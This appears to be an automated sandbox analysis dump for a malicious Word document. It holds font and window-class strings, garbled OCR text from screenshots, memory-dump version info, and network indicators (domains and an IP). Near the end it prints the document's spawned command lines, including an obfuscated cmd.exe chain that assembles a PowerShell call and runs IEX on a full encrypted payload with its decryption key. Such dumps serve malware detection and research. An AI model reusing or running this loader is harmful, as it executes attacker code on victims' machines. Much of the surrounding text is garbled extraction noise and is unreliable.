Unicode based on Runtime Data (WINWORD.EXE )
MingLiU_HKSCS
Unicode based on Runtime Data (WINWORD.EXE )
MingLiU_HKSCS-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
Miriam Fixed
Unicode based on Runtime Data (WINWORD.EXE )
Modern No. 20
Unicode based on Runtime Data (WINWORD.EXE )
Mongolian Baiti
Unicode based on Runtime Data (WINWORD.EXE )
Monotype Corsiva
Unicode based on Runtime Data (WINWORD.EXE )
MoolBoran
Unicode based on Runtime Data (WINWORD.EXE )
MS Gothic
Unicode based on Runtime Data (WINWORD.EXE )
MS Mincho
Unicode based on Runtime Data (WINWORD.EXE )
MS Outlook
Unicode based on Runtime Data (WINWORD.EXE )
MS PGothic
Unicode based on Runtime Data (WINWORD.EXE )
MS PMincho
Unicode based on Runtime Data (WINWORD.EXE )
MS Reference Sans Serif
Unicode based on Runtime Data (WINWORD.EXE )
MS Reference Specialty
Unicode based on Runtime Data (WINWORD.EXE )
MS UI Gothic
Unicode based on Runtime Data (WINWORD.EXE )
MSOBALLOON
Unicode based on Runtime Data (WINWORD.EXE )
MsoCommandBarPopup
Unicode based on Runtime Data (WINWORD.EXE )
MsoHelp10
Unicode based on Runtime Data (WINWORD.EXE )
mspim_wnd32
Unicode based on Runtime Data (WINWORD.EXE )
NetUICtrlNotifySink
Unicode based on Runtime Data (WINWORD.EXE )
NextUpdate
Unicode based on Runtime Data (WINWORD.EXE )
Niagara Engraved
Unicode based on Runtime Data (WINWORD.EXE )
Niagara Solid
Unicode based on Runtime Data (WINWORD.EXE )
Nirmala UI
Unicode based on Runtime Data (WINWORD.EXE )
OCR A Extended
Unicode based on Runtime Data (WINWORD.EXE )
OfficeTooltip
Unicode based on Runtime Data (WINWORD.EXE )
Old English Text MT
Unicode based on Runtime Data (WINWORD.EXE )
O�������������?�������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
o�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
Palace Script MT
Unicode based on Runtime Data (WINWORD.EXE )
Palatino Linotype
Unicode based on Runtime Data (WINWORD.EXE )
Parchment
Unicode based on Runtime Data (WINWORD.EXE )
Perpetua Titling MT
Unicode based on Runtime Data (WINWORD.EXE )
Plantagenet Cherokee
Unicode based on Runtime Data (WINWORD.EXE )
PMingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
Poor Richard
Unicode based on Runtime Data (WINWORD.EXE )
ProductFiles
Unicode based on Runtime Data (WINWORD.EXE )
ProductNonBootFilesIntl_1033
Unicode based on Runtime Data (WINWORD.EXE )
ProxyBypass
Unicode based on Runtime Data (WINWORD.EXE )
Rage Italic
Unicode based on Runtime Data (WINWORD.EXE )
REListbox20W
Unicode based on Runtime Data (WINWORD.EXE )
Rockwell Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Rockwell Extra Bold
Unicode based on Runtime Data (WINWORD.EXE )
Sakkal Majalla
Unicode based on Runtime Data (WINWORD.EXE )
Script MT Bold
Unicode based on Runtime Data (WINWORD.EXE )
Segoe Print
Unicode based on Runtime Data (WINWORD.EXE )
Segoe Script
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Light
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Semibold
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Semilight
Unicode based on Runtime Data (WINWORD.EXE )
Segoe UI Symbol
Unicode based on Runtime Data (WINWORD.EXE )
Shonar Bangla
Unicode based on Runtime Data (WINWORD.EXE )
Showcard Gothic
Unicode based on Runtime Data (WINWORD.EXE )
Simplified Arabic
Unicode based on Runtime Data (WINWORD.EXE )
Simplified Arabic Fixed
Unicode based on Runtime Data (WINWORD.EXE )
SimSun-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
SpellingAndGrammarFiles_1033
Unicode based on Runtime Data (WINWORD.EXE )
SpellingAndGrammarFiles_1036
Unicode based on Runtime Data (WINWORD.EXE )
SpellingAndGrammarFiles_3082
Unicode based on Runtime Data (WINWORD.EXE )
Tempus Sans ITC
Unicode based on Runtime Data (WINWORD.EXE )
Times New Roman
Unicode based on Runtime Data (WINWORD.EXE )
Traditional Arabic
Unicode based on Runtime Data (WINWORD.EXE )
Trebuchet MS
Unicode based on Runtime Data (WINWORD.EXE )
Tw Cen MT
Unicode based on Runtime Data (WINWORD.EXE )
Tw Cen MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Tw Cen MT Condensed Extra Bold
Unicode based on Runtime Data (WINWORD.EXE )
Viner Hand ITC
Unicode based on Runtime Data (WINWORD.EXE )
Vladimir Script
Unicode based on Runtime Data (WINWORD.EXE )
Wide Latin
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings 2
Unicode based on Runtime Data (WINWORD.EXE )
Wingdings 3
Unicode based on Runtime Data (WINWORD.EXE )
WORDFiles
Unicode based on Runtime Data (WINWORD.EXE )
����o���������������������������
Ansi based on Runtime Data (WINWORD.EXE )
�������
Ansi based on Runtime Data (WINWORD.EXE )
�������������
Ansi based on Runtime Data (WINWORD.EXE )
��������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
����������������
Ansi based on Runtime Data (WINWORD.EXE )
����������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
�����������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
��������������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
�����������������������������������������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
'''-''''''''''
Ansi based on Image Processing (screen_0.png)
---------__
Ansi based on Image Processing (screen_0.png)
1__m7c_43be3__e_d_as__i8ea_17_9c___sn_...:
Ansi based on Image Processing (screen_0.png)
;='_-_'__'=_.=_.z
Ansi based on Image Processing (screen_0.png)
__''_''__
Ansi based on Image Processing (screen_0.png)
__,8_Find_
Ansi based on Image Processing (screen_0.png)
___________
Ansi based on Image Processing (screen_0.png)
_c0mpatibi_i_m0de_
Ansi based on Image Processing (screen_0.png)
_i'000i'_
Ansi based on Image Processing (screen_0.png)
_s_gt__sg_gct_
Ansi based on Image Processing (screen_0.png)
appr0x;ma_eva_uet.
Ansi based on Image Processing (screen_0.png)
characterc
Ansi based on Image Processing (screen_0.png)
Clipbaard
Ansi based on Image Processing (screen_0.png)
HgadinLHgadin_
Ansi based on Image Processing (screen_0.png)
ll9l68_7cdl43b_l3636e_daa4as_3a_eaa317s4gc__4s776447a6
Ansi based on Image Processing (screen_0.png)
micr0c0ftw0rd
Ansi based on Image Processing (screen_0.png)
nNorma_nNosaci
Ansi based on Image Processing (screen_0.png)
PageLayaut
Ansi based on Image Processing (screen_0.png)
Paragraph
Ansi based on Image Processing (screen_0.png)
Reference_
Ansi based on Image Processing (screen_0.png)
t_-_t_-__
Ansi based on Image Processing (screen_0.png)
,,,,g,,c_43bg3_,g,d,4,,,,,g,,,,,gc,,g,,,7,.....
Ansi based on Image Processing (screen_3.png)
,pp,ox,,m,tg
Ansi based on Image Processing (screen_3.png)
.____'0'_'_••
Ansi based on Image Processing (screen_3.png)
_',_cn_patibi_it_.'_.1c__e_
Ansi based on Image Processing (screen_3.png)
_.1i,__'c_.crt_.,'._c_'__
Ansi based on Image Processing (screen_3.png)
_8i_''''_
Ansi based on Image Processing (screen_3.png)
__,____,_d_____Find'
Ansi based on Image Processing (screen_3.png)
__wdMj__i_a_at
Ansi based on Image Processing (screen_3.png)
_d,,t,,,g
Ansi based on Image Processing (screen_3.png)
A_,,_o,_,.,,,,d
Ansi based on Image Processing (screen_3.png)
adminisba_r
Ansi based on Image Processing (screen_3.png)
alibri'LL'_
Ansi based on Image Processing (screen_3.png)
c,.,pbo,,d.
Ansi based on Image Processing (screen_3.png)
ch,,,,g,,
Ansi based on Image Processing (screen_3.png)
ChangePraduct_y
Ansi based on Image Processing (screen_3.png)
ErrarCade:OxCOO_O74
Ansi based on Image Processing (screen_3.png)
h_ai_ingt
Ansi based on Image Processing (screen_3.png)
i''___iii
Ansi based on Image Processing (screen_3.png)
lċ;_lċi-er;_;_,___ċJ3be3ċ3ċ3ċe,_3__a_JJa5;_ċ3_J_eaa3l;_5J;_,_,__J_;_JJ5;_;_ċJJ;_aċ
Ansi based on Image Processing (screen_3.png)
Mc_0ft0McgActirdjon__d
Ansi based on Image Processing (screen_3.png)
pageLayout
Ansi based on Image Processing (screen_3.png)
Referencet
Ansi based on Image Processing (screen_3.png)
v_RePlaCe
Ansi based on Image Processing (screen_3.png)
,,_,___,_,q,_,_
Ansi based on Image Processing (screen_5.png)
___,,,ag_,ie,0
Ansi based on Image Processing (screen_5.png)
______________0?__p_L?0__,l,_____0_______cc__
Ansi based on Image Processing (screen_5.png)
.7600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
6.1.7600.16385
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
CompanyName
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Corporation
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Corporation. All rights reserved.
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
galCopyright
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
ion="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="Microsoft.Windows.spfileq" version="5.1.0.0" processorArchitecture="x86"/> <description>spfileq</description> Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Operating System
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
ProductName
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
StringFileInfo
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Translation
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
VS_VERSION_INFO
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
ws SPFILEQ
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
/esimB50/
Ansi based on PCAP Processing (PCAP)
91.217.66.130
Ansi based on PCAP Processing (PCAP)
amor.official.pw
Ansi based on PCAP Processing (PCAP)
t-p-e.net
Ansi based on PCAP Processing (PCAP)
www.erzotech.eu
Ansi based on PCAP Processing (PCAP)
www.utilitybillingsoftwares.com
Ansi based on PCAP Processing (PCAP)
/n "C:\129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc"
Ansi based on Process Commandline (WINWORD.EXE)
cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (cmd.exe)
powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxA